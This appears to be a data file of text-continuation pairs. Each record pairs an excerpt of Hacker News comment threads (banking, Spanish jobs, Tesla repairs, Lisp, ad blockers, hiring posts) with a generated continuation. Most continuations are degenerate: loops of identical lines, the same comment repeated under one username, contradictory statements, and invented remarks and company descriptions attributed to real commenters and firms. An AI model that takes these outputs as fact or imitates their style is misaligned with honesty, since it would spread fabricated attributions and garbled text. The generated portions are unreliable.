more investment channels available_\n\nThis is exactly why banks spend significant more money on advertising (think\nWaMu pre-death) than they used to. It's also why they derive a higher\npercentage of revenue from fees.\n\n------\nmarkdionne\nInternational trade is dependent on Letters of Credit issued by banks:\n[http://www.nakedcapitalism.com/2008/10/international-\ntrade-s...](http://www.nakedcapitalism.com/2008/10/international-trade-\nseizing-up-due-to.html)\n\nThe shit will really hit the fan when your lights go out because your local\npower utility cannot get a shipment of fuel oil when no bank will guarantee\ntheir credit.\n\n------\nnewt0311\n\"Although banks perform an essential economic function \u2014 bringing together\ninvestors and savers \u2014"} +{"output_text": " wife is a native Spanish speaker. She has a degree in Spanish and English\nand speaks both languages fluently. She is a professional translator.\n\n~~~\npvaldes\nI am not sure if you are joking or not.\n\n~~~\nwallflower\nI am not.\n\n------\njoe_the_user\nI'm not sure if this is a good thing or not.\n\nThe problem is that the Spanish government is not doing a good job of\n", "input_text": " are\nnow en vogue.\n\n------\npvaldes\nThe \"you need more skills\" issue is a false problem. Is just that the bad guys\nhave kidnapped, blocked for years, or freeze, most of the good jobs.\n\nThis is a mediocrazy and they need to raise a lot of walls for keeping off the\nbrigther people who give them a bad image by comparison. And all is carefully\nplanned to keep this people unemployed also for the next four years.\n\nRequisites to be a minister in Spain?. Speaking english? not necessary.\nHolding any sort of degree of PhD? Not necessary. Years of experience working\nfor private companies?. Not necessary, but it helps. If you helped a big\ncompany to contaminate a bay for example, you could be even be promoted as the\nnext environment minister.\n\nRequisites for the rest of guys for a normal job?. A hamster wheel. Well,\nfirst of all you need to be fluent in three or four languages, just because\nmaybe one time a year, or once in ten years, you could need to speak with a\nforeigner; and for some reason you can't just raise a phone and hire a\nprofessional translator for this special day. You will burn in hell if you\ndare to suggest your boss this logic and simple solution. Then you need to\nhave a degree, a PhD, and also a few masters, and being able to hypnotize a\ngoat in less than five minutes, and work for free for some years, and...\n\nJob market in Spain is a question of kinship and means being promoted directly\nin lots of cases... or never.\n\n~~~\nwallflower\n> Well, first of all you need to be fluent in three or four languages\n\nMy"} +{"output_text": " had something like ECOT in the US. I think it would be a great\nresource for kids who are homeschooled or have other issues.\n\n~~~\njedberg\n> I was just curious about ECOT yesterday since that's the school I did my\n> final years of high school and was wondering about where people would get\n> their transcripts if say for college...\n\nI went to ECOT for my senior year of high school. I got my transcripts from\n", "input_text": ".\n\nI was just curious about ECOT yesterday since that's the school I did my final\nyears of high school and was wondering about where people would get their\ntranscripts if say for college... Looks like records were being transferred to\nthe last known district of residence, but there's also an email if you need\nhelp getting them it looks. I'm guessing probably where you lived when you\nwere last in school then, probably not where you are now if you moved since\nthen. The Educational Service Center of Lake Erie West in Toledo was the\nsponsor of ECOT.\n\n[http://www.esclakeeriewest.org/ECOTInformation.aspx](http://www.esclakeeriewest.org/ECOTInformation.aspx)\n\nAlso looks like the server is at Franklin County courthouse, the judge there\napproved $300,000 to upgrade the server to preserve it, as the FBI is also\nlooking into the school over the campaign contributions. Then the other big\nthing ECOT got in trouble over was the way of accounting attendance.\n\n[https://www.dispatch.com/news/20190801/judge-approves-\nmoving...](https://www.dispatch.com/news/20190801/judge-approves-moving-ecot-\nrecords-to-new-computer-server)\n\nI liked ECOT. If I needed to ask questions I could send a email(they had a\nfake email system, wouldn't go to external addresses) or even call up... I\nfelt they cared a lot more compared to the last public school I went to.\nActually got way better grades too. But someone else who went to ECOT after me\nfelt a bit different, so maybe things changed more since I went.\n\nI wish we"} +{"output_text": "m trying to sell PB, but I\u2019m not. I\u2019m\njust trying to explain why it\u2019s not very useful.\n\n~~~\nWhompingWindows\nThanks for the explanation. I'm not sure I understand the \"learns\" part.\n\n~~~\nidentity0\nIt doesn\u2019t learn, it just blocks the first time you visit a site that uses\ntrackers. It doesn\u2019t learn that it\u2019s a tracker, it just blocks the", "input_text": "------\nChikkaChiChi\nHas a browser team ever considered the possibility of creating allowlists for\nextensions only on certain websites? A native implementation of something like\nuMatrix that also worked on extensions could help end users at least remove\nslowdowns on sites they need to be performant.\n\n------\niou\nNice article. This seems like a relevant contrast to share here\n[https://brave.com/improved-ad-blocker-\nperformance/](https://brave.com/improved-ad-blocker-performance/)\n\n------\ngoalieca\nI typically run a number of extensions:\n\nduckduckgo privacy essentials, ublock origin, privacy badger, and whatever\nbuilt-in firefox has.\n\nPerhaps this is overkill but they all cover slightly different things.\n\n------\nWhompingWindows\nCan someone give me an ELI5 on Privacy Badger? My current stack is just uBlock\nOrigin, I'm considering layering PB over the top.\n\n~~~\nidentity0\nIn my experience, PB pretty much does nothing. UBO already blocks trackers and\nsocial media buttons, and if it doesn\u2019t, you can turn on those filters. PB\ndoesn\u2019t even block the trackers until it \u201clearns\u201d that they are trackers, it\njust avoids sending cookies (which doesn\u2019t stop facebook from fingerprinting\nyou.) The best method would probably turning off 3rd party scripts and iframes\nin UBO, but that does mean you have to un-break a lot of sites. An extension\nlike cookie autodelete would also do much more than PB, since, if you have no\ncookies, they can\u2019t be sent.\n\nEdit: I realized that I sound like I\u2019"} +{"output_text": " being who is responsible for the code?\nAnother is the ability to get support.\n\nI think that the current model of open source is not going to work for\nsoftware that is not open source. It's not going to work for software that is\nnot open source, because it's not going to be able to attract the kind of\nsupport that is needed to make it work.\n\n~~~\njandrese\nI think the problem is that the open source model is not", "input_text": "-written? Read some of it. Does it look like the authors have\nbeen careful, conscientious, and consistent? Does it look like code you\u2019d want\nto debug? You may need to.\n\nThis, 10,000x. I've repeated a similar mantra many, many times, and it's one\nof the most important reasons I refuse to use proprietary software. You should\nconsider no software a black box, and consider the software you chose to use\ncarefully, because it's your responsibility to keep it in good working order.\n\n~~~\nbunderbunder\nMaking it someone else's responsibility to keep it in good working order is\nthe value proposition behind (good) proprietary software: You give them money,\nthey give you a support contract.\n\nFor a company with more money than development resources, or even just a\ncompany whose development resources can be more profitably focused elsewhere,\nthis can be a quite reasonable trade to make.\n\n~~~\nvharuck\nIf a company behind proprietary software goes belly up, there's no support.\nBut there are always companies or even freelance devs who can be paid to\nsupport open source code.\n\n~~~\nIggleSniggle\nProprietary _and closed source_. We make use of open source (but not open\nlicense) proprietary software on my team.\n\n------\nraphlinus\nMy personal sense, from watching developments in this space, is that we are\ngoing to have to find some way for taking on an open source dependency to be\nan economic transaction, with money actually changing hands. With open source,\nthe code itself is free (in both the libre and gratis sense), but there are\nother places to identify value. One of them is chain of custody - is there an\nactual, somewhat responsible human"} +{"output_text": "\n\n------\njedberg\nI've been using this for a while now. It's a great way to get a quick\noverview of the different mental models that you use.\n\n------\njedberg\nI've been using this for a while now. It's a great way to get a quick\noverview of the different mental models that you use.\n\n------\njedberg\nI've been using this for a while now. It's a great way to", "input_text": "MyCognitiveBias&utm_...](https://mycognitivebias.com/?utm_source=MyCognitiveBias&utm_medium=Chrome%20Extensions&utm_campaign=footer%20link)\n\n------\njcutrell\nI\u2019ve started to accumulate mental models on my personal site. I hate how buzzy\nthe language has gotten, but I _do_ see the value in this accumulation.\n\nOne thing that\u2019s missing: how these models connect, and ways of picking the\nmodels you need for a given thought experiment. This is a service or app I\nwould gladly pay for, particularly if it provided the ability to add my own\nmodels, relate them in a smart way, etc.\n\n~~~\nxpe\nChoosing the mix of applicable models is the art of wisdom. Connecting all\nmodels pairwise would have O(N^2) complexity.\n\nBut I agree, writing down your thoughts on how models interact helps you\nunderstand their focal points and limitations.\n\nTo extend this line of thinking \u2014one might hope that the synthesis of multiple\nmodels would get more elegant \u2014 but this would likely come at the expense of\ninterpretability to particular situations. This line of thought is discussed\nextensively in the philosophy of science and complexity theory.\n\n~~~\nmyself248\nBut nobody needs the full pairwise everything, just a few related concepts,\nlike \"If this seems close but doesn't quite fit, have a look at P, Q, R, and\nS?\"\n\n------\nalexpetralia\nAs usual, I plug my list of mental models if anyone is interested!\n[https://alexpetralia.github.io/newsletters](https://alexpetralia.github.io/newsletters)"} +{"output_text": "R) for nonprofits\"\n\nWe're looking for a full-stack developer to join our small team of developers\nand designers.\n\nWe're a small team of developers and designers who are passionate about\nchanging the world. We're building a Twilio-based platform that will allow\nnonprofits to engage their donors and volunteers in a more effective way.\n\nWe're looking for someone who is passionate about the intersection of\ntechnology and social good.\n\nWe", "input_text": "architect among our tech founders we of course make full use of AWS in\nbuilding a robust, distributed set of applications and services.\n\nIf you're interested in finding out more, head to\n[https://tails.com/careers](https://tails.com/careers) or drop an email to\nsteve@tails.com.\n\n------\ndanecjensen\nSock Club | Web Developer (Ruby on Rails, Javascript) | Austin, TX | FULL-\nTIME, ONSITE, www.sockclub.com\n\nThe retail landscape is shifting it's reorganizing from around the automobile\nto around the smartphone. We are working to capitalize on this change building\na DNVB (digitally native vertical brand) and also working on the discovery\nproblem for ecommerce. If you're interested in this opportunity contact me at\ndane@sotmclub.com\n\n------\nloourr\nBackboneJS | New York City | ONSITE | Contract/Full-Time\n\nAbout the project:\n\n\\- Stable and long-term (up to 12 months)\n\n\\- High impact (you'll taking frontend lead with a small team)\n\n\\- Great for your portfolio, we're a leader in the music industry\n\n\\- Well compensated\n\nIf you're interested in the project respond with a little about yourself and\nyour portfolio if you have one.\n\nThis is for candidates who can work onsite only so please only respond if\nyou're able to commute to NYC.\n\nIf you're interested contact us at hello@staffhappy.co\n\n------\nworldadventurer\nCode4Good -- [https://www.engageSPARK.com](https://www.engageSPARK.com) \\-\n\"Twilio (Voice IV"} +{"output_text": " why it's necessary.\n\n~~~\npro_zac\nI'm not sure, but I think it's a law that requires you to have a photo ID\nwith you at all times.\n\n~~~\nSamuelAdams\nI'm not sure if that's the case, but I'm curious to know what law it is.\n\n~~~\npro_zac\nI'm not sure either, but I think it's a law that requires you to have a photo", "input_text": " it is harder for someone else to walk around\nand impersonate me with some shitty fake ID.\n\n~~~\nTomMarius\n> You are required and expected to have it on you at all times.\n\nI'd be very surprised about that. That's a law most of formerly communist\nEurope has cancelled immediately after the revolutions\n\n~~~\ndekrg\nPrepare to be surprised then as optional IDs are pretty much only a thing\nwestern countries.\n\n[https://en.wikipedia.org/wiki/List_of_national_identity_card...](https://en.wikipedia.org/wiki/List_of_national_identity_card_policies_by_country)\n\n[https://en.wikipedia.org/wiki/National_identity_cards_in_the...](https://en.wikipedia.org/wiki/National_identity_cards_in_the_European_Economic_Area#Overview_of_national_identity_cards)\n\n~~~\nTomte\nBad reference. Again Germany: it's colored red, but the table clearly states\nthat you don't need to carry it.\n\nWhich is the statement you tried to counter with your link.\n\n------\npro_zac\n\"As an added precaution, the university computing center decided to issue new\npasswords for all 38,000 JLU email accounts. However, the university was\nunable to do this online because of a quirk of German law, whereby the German\nNational Research and Education Network (DFN) requires, in this case, JLU\nstudents and staff to obtain their new passwords in person from the\nuniversity's IT staff, using as ID card to prove their identity.\"\n\n~~~\nSamuelAdams\nI'm curious to know what law this is and"} +{"output_text": " are using it for their daily news.\n\n~~~\nurda\nI think they are using it for their daily news.\n\n------\nm3kw9\nThey are not telling the truth.\n\n~~~\nraphar\nThey are not telling the truth.\n\n------\nm3kw9\nThey are not telling the truth.\n\n~~~\nraphar\nThey are not telling the truth.\n\n------\nm3kw9\nThey are not telling the", "input_text": " the quote from the article:\n\u201cThere were 56,007 cremations in Wuhan in the fourth quarter of 2019\u201d. (Edit:\nI shortened quote).\n\nAfter a month of lockdown, the number of backlogged urns should be over 18000.\n\n~~~\noefrha\n(More than) two months of lockdown, not one. So ~38000 cremations \u201cnormally\u201d.\nSpread out to eight funeral homes, you\u2019d expect 4k-5k at each location. (Since\npeople were allegedly locked into apartments or at least apartment complexes,\napparently they weren\u2019t picking up ashes until now.) So \u201cthousands\u201d at each\nlocation tells us precious nothing.\n\nArticle is intentionally misleading, burying the \u201cnormal\u201d stats that way.\n\n------\nm3kw9\nBut they were not found to shed viruses.\n\n~~~\nwizzwizz4\nDoesn't mean they were found not to.\n\n------\nurda\nIt's not a mystery. China is for sure not telling the truth. Remember this is\na country with massive censorship issues and have even kicked out foreign\nreporters.\n\nI'd like to know what the downvotes are? Because everything here is factually\ntrue.\n\n \n\nAsk HN: Do you use Wolfram Alpha? - raphar\n\nI'm curious about the usage of Wolfram Alpha. How frequently do you search with it?

I think I'll use Wolfram Alfa

a) once a month\nb) once a week\nc) dayly\nd) hourly!!

[have you found a killer application of the engine???]

(also have you found a use to it?)\n======\nraphar\nI think they"} +{"output_text": "\n\nI'm not saying that there's a causal relationship, but it's a bit of a\nsurprise to me that the field has been so male-dominated.\n\n~~~\nbeat\nI'm not sure I agree with that. I think it's more like \"IT Professionals\" is\na broad label for people who have a degree in a field.\n\nI'm not sure I agree with that either. I think it's more like \"IT Professionals", "input_text": "\nbecause the entire product was devoted to rapidly filling social profiles and\nspinning up the microsites that were user accounts, mining those accounts for\ninformation, and then integrating as a platform for advertisers and game\ndevelopers. None of that tech is really stuff they could've outsourced and\nstill had a business--they couldn't have just white-labeled MySpace for\nexample and gotten away with it.\n\n------\ncoldcode\nDid anyone else find the constant shifting colors irritating?\n\n~~~\nEtheryte\nYes! Closed the page as soon as I figured out what was going on.\n\n~~~\nKiro\nThat seems like an extreme reaction to be honest.\n\n------\naedron\nInteresting answers on lack of gender diversity in IT: Most of the men believe\nthe reason is that there just aren't that many women entering the field, while\nalmost all the women blame bias at various stages of education, hiring and\npromotion. Someone has a cognitive dissonance.\n\n~~~\nwhoops1122\nthere were less than 5 girls on my computer science class, so unless woman are\nclaim that they should have the job without education. I can totally see the\nreason why there is a gender diversity in IT?\n\n~~~\nbeat\nWhy is a computer science background necessary for an IT career? I know many,\nmany IT professionals who did not study CS in college.\n\n~~~\nci5er\n\"IT Professionals\" is a broad label. Maybe we can think of getting a 'degree\nin a field' as a proxy-variable for 'interest in the field'. What's\nastonishing to me is through the 60s, 70's and into the mid-80s, computer-tech\ninterest in female cohorts tracked with science, law and medical fields."} +{"output_text": " Toyota.\n\n~~~\njoezydeco\n_Tesla isn 't making cars for everyone (yet) but instead focusing on\nexpensive/luxury cars. Rather than compare against GM/Honda/etc. How do they\ncompare against Maserati/Aston Martin/etc.?_\n\nI think the point is that Tesla is making cars that are _affordable_ , not\n_affordable_ cars.\n\n~~~\nal_biglan", "input_text": "\nHigher usage rates) we need modular design to have replaceable and upgradable\nparts, without throwing away what works.\n\nThat's why we created OSVehicle,the first open source electric vehicle\nplatform. www.osvehicle.com\n\n------\nal_biglan\nInteresting, but Tesla is both just getting started and \"feeling the space\" in\nthe auto industry. They have taken pride in taking a different approach to\ntraditional car companies and I imagine some of the wording around the\nExtended Warranty is simply being new and not copy-pasting examples from other\ncompanies.\n\nAlso, Tesla isn't making cars for everyone (yet) but instead focusing on\nexpensive/luxury cars. Rather than compare against GM/Honda/etc. How do they\ncompare against Maserati/Aston Martin/etc.?\n\nFinally, as a young company, it may indeed be their _goal_ to build cars that\nlast forever, but the first few generations they are still pushing the\nenvelope of (their) understanding. In this case, bringing ell cars back to\ntheir repair centers may be the \"right\" way to build this experience into\ntheir future automobiles.\n\nSo... \"yeah, they aren't making cars that will last more than N years unless\nyou, as an owner, are prepared to sink a bunch of cash into achieving this\" It\nmay be more interesting to watch the auto that replaces the Model S. Both in\nterms of their timeframe for introducing new models (beyond expanding into\ndifferent classes of vehicles) as well as how they adopt what they learn into\nmore fundamental design changes. Thank you to all those cutting edge people\nwilling to buy Teslas now. I'll wait 5-10 years till they get mainstream and\nkeep my Honda and"} +{"output_text": "BC\ndriver. I do not want to write my own database. I do not want to write my own\nweb server. I do not want to write my own web framework. I do not want to\nwrite my own web application framework. I do not want to write my own\napplication framework. I do not want to write my own web application. I do not\nwant to write my own web application framework. I do not want to write my own\nweb application. I do", "input_text": " aren't obligated to participate in debates. Nor do you have to use the\nabsolute best version of Lisp to get most of the benefits.\n\nMy advice is to pick up a copy of MIT Scheme (works on Windows) and then work\nthrough Structure and Interpretation of Computer Programs (SICP), and don't\nread anything else about Lisp until you're done, because you don't need to.\n\nMIT Scheme isn't the best Lisp. It's just the Lisp that's used in SICP. You\nwon't win any debates arguing that MIT Scheme is the best Lisp. You might even\nhear people say MIT Scheme isn't even a Lisp. I agree with some of that, but\nthose debates are irrelevant to your learning.\n\nFeel free to hit me up with any questions. I certainly have opinions on all\nthe holy wars, but I won't bring them up, I'll just help you with the task\nyou're working on. :) I'm not a Lisp expert by any means, but I've worked\nthrough most of SICP.\n\n~~~\nat_a_remove\nI have looked over the site once a long time ago, when I had a copy of SICP in\nhand. I just looked now.\n\nWhat I do not see is a robust set of libraries that can help me accomplish the\nsolving of real-world problems. As mercenary as it sounds, I program to solve\nproblems my employer has in exchange for money. I solve problems that people\nhave, rather than problems that books abstractly propose. While Lisp or\nwhatever dialect might be lovely, it may as well be Logo for practical tasks.\nI do not want to re-implement JSON. I do not want to try to write my own OD"} +{"output_text": " the band).\n\n* AWM, rev-share with Kinks (guys from the band).\n\n* AWM, rev-share with Kinks (guys from the band).\n\n* AWM, rev-share with Kinks (guys from the band).\n\n* AWM, rev-share with Kinks (guys from the band).\n\n* AWM, rev-share with Kinks (guys from the band).\n\n", "input_text": "app.com](https://ajahcs.herokuapp.com)\nEmail: talk2ajah@gmail.com\n\nI am a mechanical engineer by training which I believe gives me some leverage\nin viewing problems with a broad perspective. Also, I am willing to learn new\ntechnologies and work in a cross-cultural environment.\n\n------\nDim25\n\n Location: San Francisco, CA, USA \n Remote: Yes \n Willing to relocate: Yes \n Technologies: Full-stack with Machine Learning experience. PM for remote team. \n R\u00e9sum\u00e9/CV: https://bitly.com/dima_cv1 \n Email: dima_cv1@protonmail.com \n \n \n\nHi all, I'm Dima\n([https://www.linkedin.com/in/dim25/](https://www.linkedin.com/in/dim25/)),\nworked on various tech (Webdev+Python+ML) and non-tech roles. Most recent\nprojects:\n\n* Analyzing millions of job postings. Orchestration (Airflow, Docker); Data gathering (Selenium; Scrapy; MitmProxy), enrichment, and analytics. [Role: Founder + core developer]\n\n* CCTV Stream analytics (TensorFlow computer vision w/ Kurento WebRTC gateway). [Role: ML engineer]\n\nPreviously:\n\n* Co-founder at MBaaS startup. 'Firefighter' from $0 to $120K MRR.\n\n* Hired and managed a team of 15 mobile developers to assist with the delivery of the #1 mobile banking app in Russia (iOS + Android).\n\n* AWM, rev-share with Kinks (guys from"} +{"output_text": "/signinwithapple/](https://developer.apple.com/signinwithapple/)\n\n~~~\njack_riminton\nThanks! I'll add it to the list.\n\n------\njoshu\nI'm not sure what you're doing, but I like it.\n\n~~~\njack_riminton\nThanks!\n\n------\njoshu\nI'm not sure what you're doing, but I like it.\n\n~~~\njack_rim", "input_text": " tried\nto have the benefits. I'll think through it and see what I can do to make it\nclearer.\n\nI couldn't find the thread about promoting beta sites. If you can give me the\nlink I would appreciate it.\n\nThanks Again.\n\n~~~\nlaurabw\nYou're welcome! This is the thread I meant:\n[https://news.ycombinator.com/item?id=6488822](https://news.ycombinator.com/item?id=6488822)\n\n------\nericthegoodking\nI am sorry i still don't understand what your start-up does after reading \"I\nhope to help you be awesome at settling complex arguments\". Are you providing\nlegal services or something?\n\n \nShow HN: GIF Directions - jack_riminton\nhttps://gif.direct\n======\njack_riminton\nThe problem I was trying to solve is the difficulty/speed of finding places\nrelying on 2D tech of maps and GPS.\n\nFor some scenarios (unmapped areas, indoors, congested environments, no\naddress system) a gif makes finding a place much easier.\n\nFuture improvements: multiple gifs for each place (for different approach\ndirections), unique links for specific deliveries e.g.\ngif.direct/redhouse/123456\n\nIts my first coding project I've shipped so any feedback greatly appreciated\n\nStack: Rails, a bit of JS for maps (leaflet), python AWS Lambda for video\nprocessing (MoviePy, FFMpeg), S3\n\n~~~\nkohtatsu\nIt looks really good: the idea is cute, and your intro video is great.\n\nWould you be open in adding Sign in with Apple?\n\n[https://developer.apple.com"} +{"output_text": "images/fb_icon_325x325.png)\n\n[http://www.facebook.com/images/fb_icon_325x325.png](http://www.facebook.com/images/fb_icon_325x325.png)\n\n[http://www.facebook.com/images/fb_icon_325x325.png](http://www.facebook.com/images/fb_icon_325x325.png)\n\n", "input_text": "en\", \"white\"]\n\nmushroom cloud:\n[http://www.atomicarchive.com/Effects/Images/WE12.jpg](http://www.atomicarchive.com/Effects/Images/WE12.jpg)\n\n[\"fire\", \"bomb\", \"mushroom\", \"flame\", \"letter\", \"font\", \"hell\", \"volcano\",\n\"smoke\", \"burn\"]\n\n------\nsjtrny\nVery optimistic. Got a picture of a Hyundai. Reckons it's a BMW or Audi.\n\n[http://www.airnorth.com.au/sites/default/files/Car%20hire%20...](http://www.airnorth.com.au/sites/default/files/Car%20hire%20-%20Budget%20Hyundai%20i30%20-%20LR.jpg)\n\n[\"car\", \"bmw\", \"auto\", \"sport\", \"3d\", \"vector\", \"white\", \"blue\", \"front\",\n\"audi\"]\n\n------\nNavarr\nTried a Pok\u00e9mon card and got \"semi relevant\" results\n\n[http://sixprizes.com/wp-content/uploads/pikachu-next-\ndestini...](http://sixprizes.com/wp-content/uploads/pikachu-next-destinies-\nnde-39.jpg)\n\n[\"background\", \"card\", \"kid\", \"vector\", \"design\", \"school\", \"book\", \"frame\",\n\"cartoon\", \"dog\"]\n\n------\nabbottry\nFacebook Logo:\n[https://www.facebook.com/images/fb_icon_325x325.png](https://www.facebook.com/"} +{"output_text": " Model S.\n\n~~~\nphkahler\nI'm not saying it's not possible. I'm saying it's not necessary. I'm saying\nthat if you're going to be replacing parts, you should be able to replace them\nwith parts from the same manufacturer.\n\n~~~\nmdorazio\nI'm not sure what you're saying. You can replace parts from the same\nmanufacturer with parts from the same manufacturer. You can't replace parts\nfrom", "input_text": " use it. I worry after the warranty expires that I will be\nat the mercy of Tesla for any service and support, which is an unknown\nquantity right now. I've seen the terrible spot a product owner can be left in\nwhen a manufacturer decides (for whatever reason) that service and support are\nnow their primary profit center. Not only are you screwed in that your product\nnow costs a fortune to maintain, your product is now essentially worthless for\nresale because everyone knows the cost to maintain and repair it makes it\nuneconomical. (See, e.g. several private aircraft companies which went\nbankrupt)\n\n------\nphkahler\nThis is dumb. Can you replace the tie rods, brake pads, tires? So long as the\nregular maintenance items can be handled I don't see a problem. Electronic\nparts on other cars are getting herd to replace too - they do things like\nrecord the VIN code upon first use and refuse to work in a different car, all\nin the name of anti-theft. Also, as people get excited about self driving\ncars, safety becomes a huge concern. You have throttle, brakes, steering,\ncamera systems, radar, all working together to achieve that. You're not going\nto be tampering with any of that stuff on any car in the near future.\n\nSo if regular maintenance items can be replaced, and body damage can be\nrepaired, I don't see the complaint.\n\n~~~\nmdorazio\nYes, basic maintenance like you describe is entirely possible to do on your\nown or at any normal mechanic. Body work can be done at normal high-end body\nshops as well, with the caveat that getting replacement panels from Tesla is\nexpensive and challenging due to their limited production capacity.\n\nSource: Friend's Tesla"} +{"output_text": "\".\n\n~~~\nnakedrobot2\nI don't use AdBlock Plus, but I'm pretty sure that's not what I'm talking\nabout.\n\n------\njedberg\nI'm not sure I understand the point of this.\n\nAMP is a great way to get your content to the front page of Google. It's\nalready the default for many sites.\n\nIf you want to get your content to the front page of Google, you can do", "input_text": " main downside I can imagine is that the centralized gatekeeper (Google)\nwon't treat the optimized content the way it treats AMP content today. But, we\nare locking ourselves into Google's solution if we let that stop us from\nexploring better alternatives.\n\n~~~\nwmf\n[https://wicg.github.io/ContentPerformancePolicy/](https://wicg.github.io/ContentPerformancePolicy/)\n\n~~~\ncdata\nScript execution time is a major source of jank / lag on mobile devices. What\nif I don't want any script to be executed beyond what is needed by a\nlightweight runtime?\n\nAMP actually has a lot of really neat technical approaches to enabling rich\ncontent, based on open web standards. CPP seems like a nice tool for the\ntoolbox, but it doesn't seem like a satisfying 1:1 alternative to AMP.\n\n \n\nAnnoyance-free web surfing - giis\nhttps://adblockplus.org/en/\n\n======\nnakedrobot2\nI actually don't mind Google Ads because I rather often see ads for obscure\nproducts that I find interesting and wouldn't have otherwise come across -\nthat's almost the textbook definition of what advertising is _supposed_ to do.\n\nBut then there are the obnoxious, foul, impolite ads full of auto-playing\nvideos, sound, mail order brides, scammy fake \"download\" buttons next to the\n\"real\" download button.... and because of these things that pollute my\nconsciousness, I'll forsake the google ads as well.\n\n~~~\npedrogrande\nIf you right-click the AdBlock Plus icon in your browser and choose options,\nthe first option on the General tab reads \"I like the text ads on Google\nsearch results"} +{"output_text": "\n\n\n------\njoshu\nI think the author is confusing the \"science\" of economics with the \"science\"\nof physics.\n\n~~~\njoshu\nI think the author is confusing the \"science\" of economics with the \"science\"\nof physics.\n\n------\njoshu\nI think the author is confusing the \"science\" of economics with the", "input_text": " real people with\nreal purposes. That's why it's so amazing to me that scientists, and people\ncalling themselves scientists, would propose to study the internet as if it\nwere some natural system - like the weather, or a coral reef._\n\nYou can use science to study all sorts of systems, ranging from the oceans to\nthe internet to economics. They don't have to be natural.\n\nAll that matters is whether you apply the scientific method to the phenomenon\nyou are studying. Many economists do this, so (at least part of) the field of\neconomics is scientific.\n\nYou might be able to imagine another world in which the laws of economics\ndon't work. Ok, so what? You can imagine worlds in which the laws of physics\ndon't work, it doesn't make physics unscientific.\n\n------\nreader5000\nHis point is not what the definition of'science' is. His thesis is that in\nthe late middle ages society operated on a'mutual credit system' (wikipedia\nit) of exchange where the merchant classes were independently creating and\nexchanging value. This mutual credit system was usurped for a centralized\ncurrency system where value creation is tightly controlled by the state (i.e.\nin the form of loans of a monopolized currency; what we have today).\nCentralized currency discourages cooperation and forces unnatural selfish\ncompetition between individuals, to the benefit of the corporate ownership.\nThis unnatural state is reinforced as natural through corporate sponsorship of\nintellectuals like Dawkins and Pinker (even though if you read them both of\nthese authors works are agnostic on this point). Then he makes an unclear\npoint about how the internet changes all that.\n\n------\narihelgason\nThat's why it's called 'the dismal science' -"} +{"output_text": " single click.\n\nWe're looking for a mid-level or senior software engineer to join our team.\nYou'll be working on a variety of projects, including:\n\n\\- Building a real-time fraud detection system that can process millions of\ntransactions per second\n\n\\- Building a real-time fraud detection system that can process millions of\ntransactions per second\n\n\\- Building a real-time fraud detection system that can process millions of\ntransactions per second\n\n", "input_text": " Stack Developer\n\nFounded in 2016 and headquartered within the heart of London in Somerset\nHouse, Pimloc Ltd is a machine learning company focussed on developing and\nenabling private and personalised image management solutions. Pimloc has\nsuccessfully raised its first round of funding through its founders and UK\nbusiness angels. The founding team includes some of the world's foremost\nthinkers in deep learning visual technology and computer vision application\ndevelopment across a range of fields.\n\nWe are looking for someone to research and train new deep learning based\narchitectures and algorithms to improve our current solution as well as\ndevelop new ideas for the next generation of personalised image search.\n\nWe are also looking for a full stack developer to help design and develop a\ndeep learning based AI image search system that can run on embedded devices as\nwell as being deployed in the cloud. We need someone who is enthusiastic about\nall aspects of system design and code development whether it be programming\nDSPs or developing cloud infrastructure.\n\nRead the full descriptions at [http://pimloc.com/jobs](http://pimloc.com/jobs)\nor email jobs@pimloc.com for a chat.\n\n------\nemily_mikailli\nSignifyd | Mid-level / Senior Software Engineer | San Jose | Onsite | Full-\ntime\n\nSignifyd is a 115-person startup that was named one of the 50 most innovative\nFintech companies of 2016 by Forbes, and our engineers build systems that\ncatch bad guys. Using all available payment, user, and machine data, we have\nto separate legitimate credit card transactions from fraudulent in under\n400ms. That means doing just-in-time mash-ups of internal data with external\nAPIs and reducing it all into a single score with a"} +{"output_text": "stackoverflow.com. I also applied to a few other places.\n\n~~~\nthrowaways\nThanks for the advice. I'm not sure if I'm applying to jobs where my skills\nmatch what was being advertised. I'm not sure if I'm applying to jobs where\nmy skills match what was being advertised. I'm not sure if I'm applying to\njobs where my skills match what was being advertised. I'm not sure if I'm\napplying to jobs where my", "input_text": "x27;m curious about how many job applicants you the employers are seeing from your posts on the monthly Who is Hiring threads.

The number of companies posting jobs has been increasing every month this year (I'm assuming as the site gets more popular) which would indicate there is also many more job seekers coming here every month applying.

I've been relying on just this site for finding jobs for a few months now and haven't had a breakthrough yet, so I'm curious if I'm just a low quality applicant or is the competition really that fierce.

Post from throwaways or don't include your company's name if you don't feel comfortable. I'm just interested in seeing some numbers.

Thanks.\n======\nloumf\nWe probably need a little more information to help. In my experience, I got\nenough very close matches from past companies (1 or 2) that I didn't need to\nlook at other promising candidates. The number of applicants is irrelevant --\nwhat matters is the number of good applicants that are a match for what I am\nlooking for and I only need 1.\n\nThere is generally a shortage of engineers, but you still need to find a good\nmatch for what you can offer.\n\n1\\. Are you applying to jobs where your skills/level/location match what was\nbeing advertised?\n\n2\\. Is that clear from your application? Did you write a custom cover letter\nthat specifically draws attention to the match?\n\n3\\. Generally what level are you? What is your strongest tech stack/language?\nLocation?\n\nI recommend trying out other places. I got my current job on\ncareers."} +{"output_text": "choSign | San Francisco, CA | Full-time | Onsite\n\nEchoSign is the leading cloud communications platform for business. We\ndeliver a complete, end-to-end solution for secure, real-time, and\ncollaborative business communications.\n\nWe are hiring for a number of positions:\n\n* Senior Software Engineer, Backend (SF)\n\n* Senior Software Engineer, Frontend (SF)\n\n* Senior Software Engineer, Infrastructure (", "input_text": "\noffice. No prior knowledge of Spanish is required. The link to apply is\n[http://bit.ly/backend-eng-tk](http://bit.ly/backend-eng-tk)\n\n------\nshan28harris\nSmugMug | Mountain View, CA | Frontend Engineer | ONSITE, REMOTE | Full Time\nPhoto sharing We are looking for a seasoned frontend engineer!\nResponsibilities \\- Design, develop, enhance and maintain the frontend of the\nbest photo sharing site on the internet, duh! \\- Own a significant stake from\ninception to launch in projects that have a direct impact on customer\nacquisition, new user experience, and growing our customers\u2019 business revenue\ngrowth. \\- Collaborate in designing and developing intuitive, responsive\ninterfaces in HTML, CSS, and JS, working in React, redux and ES6. \\-\nIncorporate and refine JS modularization, automated test coverage, A/B\ntesting, internationalization, accessibility, and build tooling \\- Be active\nin code reviews and discussions to learn, share knowledge, and improve code\nquality across the codebase Must haves \\- 5+ years of experience building\nlarge-scale server-based web applications \u2022 2+ years of experience developing\necommerce solutions, or new user \\- Substantial experience working with HTML,\nCSS, and vanilla JavaScript \\- 